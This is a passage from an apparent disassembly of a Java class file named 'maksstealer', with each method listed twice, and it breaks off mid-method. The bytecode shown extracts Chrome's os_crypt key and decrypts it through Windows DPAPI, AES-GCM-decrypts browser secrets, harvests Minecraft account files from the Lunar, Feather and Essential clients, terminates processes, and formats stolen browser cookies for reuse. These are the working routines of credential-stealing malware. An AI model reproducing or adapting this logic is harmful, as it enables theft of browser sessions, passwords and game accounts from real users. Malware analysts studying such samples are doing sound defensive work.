File maksstealer_8b526df25b73573dde9bb448078fec0b9161696cb8dec709a3d83e00b8006773.class
Function:
Loading..
00009e66
00009e66makslibraries.MaksLibraries::getDriver(java.lang.String):
00009e66new #332 // class java/io/File
00009e69dup
00009e6aaload_0
00009e6bldc_w #1199 // String "config/essential/sqlite-jdbc-3.23.1.jar"
00009e6einvokespecial #1201 // Method java/io/File.<init>:(Ljava/lang/String;Ljava/lang/String;)V
00009e71astore_1
00009e72new #665 // class java/net/URL
00009e75dup
00009e76ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
00009e79invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00009e7castore_2
00009e7daload_1
00009e7einvokevirtual #1087 // Method java/io/File.exists:()Z
00009e81ifne 35
00009e84aload_2
00009e85aload_1
00009e86invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
00009e89aload_1
00009e8ainvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
00009e8dnew #1212 // class java/net/URLClassLoader
00009e90dup
00009e91iconst_1
00009e92anewarray #665 // class java/net/URL
00009e95dup
00009e96iconst_0
00009e97aload_1
00009e98invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
00009e9binvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
00009e9eaastore
00009e9finvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
00009ea2astore_3
00009ea3ldc_w #1227 // String "org.sqlite.JDBC"
00009ea6iconst_1
00009ea7aload_3
00009ea8invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
00009eabastore 4
00009eadaload 4
00009eafinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
00009eb2astore 5
00009eb4aload 5
00009eb6checkcast #1135 // class java/sql/Driver
00009eb9areturn
00009ebaastore_1
00009ebbaload_1
00009ebcinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ebfaconst_null
00009ec0areturn
00009e66
00009e66makslibraries.MaksLibraries::getDriver(java.lang.String):
00009e66new #332 // class java/io/File
00009e69dup
00009e6aaload_0
00009e6bldc_w #1199 // String "config/essential/sqlite-jdbc-3.23.1.jar"
00009e6einvokespecial #1201 // Method java/io/File.<init>:(Ljava/lang/String;Ljava/lang/String;)V
00009e71astore_1
00009e72new #665 // class java/net/URL
00009e75dup
00009e76ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
00009e79invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00009e7castore_2
00009e7daload_1
00009e7einvokevirtual #1087 // Method java/io/File.exists:()Z
00009e81ifne 35
00009e84aload_2
00009e85aload_1
00009e86invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
00009e89aload_1
00009e8ainvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
00009e8dnew #1212 // class java/net/URLClassLoader
00009e90dup
00009e91iconst_1
00009e92anewarray #665 // class java/net/URL
00009e95dup
00009e96iconst_0
00009e97aload_1
00009e98invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
00009e9binvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
00009e9eaastore
00009e9finvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
00009ea2astore_3
00009ea3ldc_w #1227 // String "org.sqlite.JDBC"
00009ea6iconst_1
00009ea7aload_3
00009ea8invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
00009eabastore 4
00009eadaload 4
00009eafinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
00009eb2astore 5
00009eb4aload 5
00009eb6checkcast #1135 // class java/sql/Driver
00009eb9areturn
00009ebaastore_1
00009ebbaload_1
00009ebcinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ebfaconst_null
00009ec0areturn
00009e66
00009f87
00009f87makslibraries.MaksLibraries::getKey(java.io.File):
00009f87new #461 // class com/google/gson/Gson
00009f8adup
00009f8binvokespecial #462 // Method com/google/gson/Gson.<init>:()V
00009f8enew #464 // class java/io/FileReader
00009f91dup
00009f92aload_0
00009f93invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00009f96ldc_w #475 // class com/google/gson/JsonObject
00009f99invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
00009f9ccheckcast #475 // class com/google/gson/JsonObject
00009f9fastore_1
00009fa0aload_1
00009fa1ldc_w #481 // String "os_crypt"
00009fa4invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fa7invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
00009faaldc_w #492 // String "encrypted_key"
00009fadinvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fb0invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
00009fb3invokevirtual #281 // Method java/lang/String.getBytes:()[B
00009fb6astore_2
00009fb7invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
00009fbaaload_2
00009fbbinvokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
00009fbeastore_2
00009fbfaload_2
00009fc0iconst_5
00009fc1aload_2
00009fc2arraylength
00009fc3invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
00009fc6astore_2
00009fc7aload_2
00009fc8invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
00009fcbareturn
00009fccastore_1
00009fcdaload_1
00009fceinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009fd1aconst_null
00009fd2areturn
00009f87
00009f87makslibraries.MaksLibraries::getKey(java.io.File):
00009f87new #461 // class com/google/gson/Gson
00009f8adup
00009f8binvokespecial #462 // Method com/google/gson/Gson.<init>:()V
00009f8enew #464 // class java/io/FileReader
00009f91dup
00009f92aload_0
00009f93invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00009f96ldc_w #475 // class com/google/gson/JsonObject
00009f99invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
00009f9ccheckcast #475 // class com/google/gson/JsonObject
00009f9fastore_1
00009fa0aload_1
00009fa1ldc_w #481 // String "os_crypt"
00009fa4invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fa7invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
00009faaldc_w #492 // String "encrypted_key"
00009fadinvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fb0invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
00009fb3invokevirtual #281 // Method java/lang/String.getBytes:()[B
00009fb6astore_2
00009fb7invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
00009fbaaload_2
00009fbbinvokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
00009fbeastore_2
00009fbfaload_2
00009fc0iconst_5
00009fc1aload_2
00009fc2arraylength
00009fc3invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
00009fc6astore_2
00009fc7aload_2
00009fc8invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
00009fcbareturn
00009fccastore_1
00009fcdaload_1
00009fceinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009fd1aconst_null
00009fd2areturn
00009f87
0000a05b
0000a05bmakslibraries.MaksLibraries::decrypt(byte[], byte[]):
0000a05bldc_w #368 // String "AES/GCM/NoPadding"
0000a05einvokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000a061astore_2
0000a062aload_0
0000a063iconst_3
0000a064bipush 15
0000a066invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a069astore_3
0000a06aaload_0
0000a06bbipush 15
0000a06daload_0
0000a06earraylength
0000a06finvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a072astore 4
0000a074new #382 // class javax/crypto/spec/GCMParameterSpec
0000a077dup
0000a078sipush 128
0000a07baload_3
0000a07cinvokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000a07fastore 5
0000a081new #387 // class javax/crypto/spec/SecretKeySpec
0000a084dup
0000a085aload_1
0000a086ldc_w #389 // String "AES"
0000a089invokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000a08castore 6
0000a08eaload_2
0000a08ficonst_2
0000a090aload 6
0000a092aload 5
0000a094invokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000a097new #91 // class java/lang/String
0000a09adup
0000a09baload_2
0000a09caload 4
0000a09einvokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000a0a1invokespecial #403 // Method java/lang/String.<init>:([B)V
0000a0a4areturn
0000a0a5astore_2
0000a0a6aload_2
0000a0a7invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a0aaaconst_null
0000a0abareturn
0000a05b
0000a05bmakslibraries.MaksLibraries::decrypt(byte[], byte[]):
0000a05bldc_w #368 // String "AES/GCM/NoPadding"
0000a05einvokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000a061astore_2
0000a062aload_0
0000a063iconst_3
0000a064bipush 15
0000a066invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a069astore_3
0000a06aaload_0
0000a06bbipush 15
0000a06daload_0
0000a06earraylength
0000a06finvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a072astore 4
0000a074new #382 // class javax/crypto/spec/GCMParameterSpec
0000a077dup
0000a078sipush 128
0000a07baload_3
0000a07cinvokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000a07fastore 5
0000a081new #387 // class javax/crypto/spec/SecretKeySpec
0000a084dup
0000a085aload_1
0000a086ldc_w #389 // String "AES"
0000a089invokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000a08castore 6
0000a08eaload_2
0000a08ficonst_2
0000a090aload 6
0000a092aload 5
0000a094invokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000a097new #91 // class java/lang/String
0000a09adup
0000a09baload_2
0000a09caload 4
0000a09einvokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000a0a1invokespecial #403 // Method java/lang/String.<init>:([B)V
0000a0a4areturn
0000a0a5astore_2
0000a0a6aload_2
0000a0a7invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a0aaaconst_null
0000a0abareturn
0000a05b
0000a164
0000a164makslibraries.MaksLibraries::grabLunar():
0000a164new #110 // class java/lang/StringBuilder
0000a167dup
0000a168invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a16bldc_w #967 // String "user.home"
0000a16einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a171invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a174ldc_w #1247 // String "\\.lunarclient\\settings\\game\\accounts.json"
0000a177invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a17ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a17dastore_1
0000a17enew #332 // class java/io/File
0000a181dup
0000a182aload_1
0000a183invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a186invokevirtual #1087 // Method java/io/File.exists:()Z
0000a189ifne 41
0000a18creturn
0000a18daload_1
0000a18eiconst_0
0000a18fanewarray #91 // class java/lang/String
0000a192invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a195iconst_0
0000a196anewarray #1249 // class java/nio/file/FileVisitOption
0000a199invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a19caload_1
0000a19dinvokedynamic #1266 // InvokeDynamic #7:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a1a2invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a1a7goto 75
0000a1aaastore_2
0000a1abaload_2
0000a1acinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a1afreturn
0000a164
0000a164makslibraries.MaksLibraries::grabLunar():
0000a164new #110 // class java/lang/StringBuilder
0000a167dup
0000a168invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a16bldc_w #967 // String "user.home"
0000a16einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a171invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a174ldc_w #1247 // String "\\.lunarclient\\settings\\game\\accounts.json"
0000a177invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a17ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a17dastore_1
0000a17enew #332 // class java/io/File
0000a181dup
0000a182aload_1
0000a183invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a186invokevirtual #1087 // Method java/io/File.exists:()Z
0000a189ifne 41
0000a18creturn
0000a18daload_1
0000a18eiconst_0
0000a18fanewarray #91 // class java/lang/String
0000a192invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a195iconst_0
0000a196anewarray #1249 // class java/nio/file/FileVisitOption
0000a199invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a19caload_1
0000a19dinvokedynamic #1266 // InvokeDynamic #7:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a1a2invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a1a7goto 75
0000a1aaastore_2
0000a1abaload_2
0000a1acinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a1afreturn
0000a164
0000a237
0000a237makslibraries.MaksLibraries::grabFeather():
0000a237new #110 // class java/lang/StringBuilder
0000a23adup
0000a23binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a23egetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a241invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a244ldc_w #1276 // String "\\.feather\\accounts.json"
0000a247invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a24ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a24dastore_1
0000a24enew #332 // class java/io/File
0000a251dup
0000a252aload_1
0000a253invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a256invokevirtual #1087 // Method java/io/File.exists:()Z
0000a259ifne 38
0000a25creturn
0000a25daload_1
0000a25eiconst_0
0000a25fanewarray #91 // class java/lang/String
0000a262invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a265iconst_0
0000a266anewarray #1249 // class java/nio/file/FileVisitOption
0000a269invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a26caload_1
0000a26dinvokedynamic #1281 // InvokeDynamic #8:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a272invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a277goto 72
0000a27aastore_2
0000a27baload_2
0000a27cinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a27freturn
0000a237
0000a237makslibraries.MaksLibraries::grabFeather():
0000a237new #110 // class java/lang/StringBuilder
0000a23adup
0000a23binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a23egetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a241invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a244ldc_w #1276 // String "\\.feather\\accounts.json"
0000a247invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a24ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a24dastore_1
0000a24enew #332 // class java/io/File
0000a251dup
0000a252aload_1
0000a253invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a256invokevirtual #1087 // Method java/io/File.exists:()Z
0000a259ifne 38
0000a25creturn
0000a25daload_1
0000a25eiconst_0
0000a25fanewarray #91 // class java/lang/String
0000a262invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a265iconst_0
0000a266anewarray #1249 // class java/nio/file/FileVisitOption
0000a269invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a26caload_1
0000a26dinvokedynamic #1281 // InvokeDynamic #8:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a272invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a277goto 72
0000a27aastore_2
0000a27baload_2
0000a27cinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a27freturn
0000a237
0000a307
0000a307makslibraries.MaksLibraries::grabEssential(java.lang.String):
0000a307new #110 // class java/lang/StringBuilder
0000a30adup
0000a30binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a30eaload_1
0000a30finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a312ldc_w #1284 // String "\\essential\\microsoft_accounts.json"
0000a315invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a318invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a31bastore_2
0000a31cnew #110 // class java/lang/StringBuilder
0000a31fdup
0000a320invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a323astore_3
0000a324new #332 // class java/io/File
0000a327dup
0000a328aload_2
0000a329invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a32cinvokevirtual #1087 // Method java/io/File.exists:()Z
0000a32fifne 44
0000a332return
0000a333aload_2
0000a334iconst_0
0000a335anewarray #91 // class java/lang/String
0000a338invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a33biconst_0
0000a33canewarray #1249 // class java/nio/file/FileVisitOption
0000a33finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a342aload_2
0000a343invokedynamic #1289 // InvokeDynamic #9:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a348invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a34dgoto 85
0000a350astore 4
0000a352new #181 // class java/lang/RuntimeException
0000a355dup
0000a356aload 4
0000a358invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a35bathrow
0000a35creturn
0000a307
0000a307makslibraries.MaksLibraries::grabEssential(java.lang.String):
0000a307new #110 // class java/lang/StringBuilder
0000a30adup
0000a30binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a30eaload_1
0000a30finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a312ldc_w #1284 // String "\\essential\\microsoft_accounts.json"
0000a315invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a318invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a31bastore_2
0000a31cnew #110 // class java/lang/StringBuilder
0000a31fdup
0000a320invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a323astore_3
0000a324new #332 // class java/io/File
0000a327dup
0000a328aload_2
0000a329invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a32cinvokevirtual #1087 // Method java/io/File.exists:()Z
0000a32fifne 44
0000a332return
0000a333aload_2
0000a334iconst_0
0000a335anewarray #91 // class java/lang/String
0000a338invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a33biconst_0
0000a33canewarray #1249 // class java/nio/file/FileVisitOption
0000a33finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a342aload_2
0000a343invokedynamic #1289 // InvokeDynamic #9:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a348invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a34dgoto 85
0000a350astore 4
0000a352new #181 // class java/lang/RuntimeException
0000a355dup
0000a356aload 4
0000a358invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a35bathrow
0000a35creturn
0000a307
0000a3ff
0000a3ffmakslibraries.MaksLibraries::grabEssentialapp():
0000a3ffnew #110 // class java/lang/StringBuilder
0000a402dup
0000a403invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a406getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a409invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a40cldc_w #1294 // String "\\.minecraft\\essential\\microsoft_accounts.json"
0000a40finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a412invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a415astore_1
0000a416new #110 // class java/lang/StringBuilder
0000a419dup
0000a41ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a41dastore_2
0000a41enew #332 // class java/io/File
0000a421dup
0000a422aload_1
0000a423invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a426invokevirtual #1087 // Method java/io/File.exists:()Z
0000a429ifne 46
0000a42creturn
0000a42daload_1
0000a42eiconst_0
0000a42fanewarray #91 // class java/lang/String
0000a432invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a435iconst_0
0000a436anewarray #1249 // class java/nio/file/FileVisitOption
0000a439invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a43caload_1
0000a43dinvokedynamic #1299 // InvokeDynamic #10:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a442invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a447goto 85
0000a44aastore_3
0000a44bnew #181 // class java/lang/RuntimeException
0000a44edup
0000a44faload_3
0000a450invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a453athrow
0000a454return
0000a3ff
0000a3ffmakslibraries.MaksLibraries::grabEssentialapp():
0000a3ffnew #110 // class java/lang/StringBuilder
0000a402dup
0000a403invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a406getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a409invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a40cldc_w #1294 // String "\\.minecraft\\essential\\microsoft_accounts.json"
0000a40finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a412invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a415astore_1
0000a416new #110 // class java/lang/StringBuilder
0000a419dup
0000a41ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a41dastore_2
0000a41enew #332 // class java/io/File
0000a421dup
0000a422aload_1
0000a423invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a426invokevirtual #1087 // Method java/io/File.exists:()Z
0000a429ifne 46
0000a42creturn
0000a42daload_1
0000a42eiconst_0
0000a42fanewarray #91 // class java/lang/String
0000a432invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a435iconst_0
0000a436anewarray #1249 // class java/nio/file/FileVisitOption
0000a439invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a43caload_1
0000a43dinvokedynamic #1299 // InvokeDynamic #10:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a442invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a447goto 85
0000a44aastore_3
0000a44bnew #181 // class java/lang/RuntimeException
0000a44edup
0000a44faload_3
0000a450invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a453athrow
0000a454return
0000a3ff
0000a4ed
0000a4edmakslibraries.MaksLibraries::grabCookies():
0000a4edinvokestatic #1303 // Method makslibraries/MaksLibraries.MurderTasks:()V
0000a4f0invokestatic #1306 // Method makslibraries/MaksLibraries.crawlUserDatacc:()V
0000a4f3ldc #108 // String ""
0000a4f5astore_0
0000a4f6getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000a4f9invokevirtual #1311 // Method com/google/gson/JsonArray.iterator:()Ljava/util/Iterator;
0000a4fcastore_1
0000a4fdaload_1
0000a4feinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a503ifeq 119
0000a506aload_1
0000a507invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a50ccheckcast #486 // class com/google/gson/JsonElement
0000a50fastore_2
0000a510new #110 // class java/lang/StringBuilder
0000a513dup
0000a514invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a517aload_0
0000a518invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a51baload_2
0000a51cinvokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a51fldc_w #1313 // String "hostKey"
0000a522invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a525invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a528invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a52bldc_w #1315 // String "\tTRUE\t/\tFALSE\t2597573456\t"
0000a52einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a531aload_2
0000a532invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a535ldc_w #788 // String "name"
0000a538invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a53binvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a53einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a541ldc_w #1317 // String "\t"
0000a544invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a547aload_2
0000a548invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a54bldc_w #1318 // String "value"
0000a54einvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a551invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a554invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a557ldc_w #610 // String "\n"
0000a55ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a55dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a560astore_0
0000a561goto 16
0000a564new #332 // class java/io/File
0000a567dup
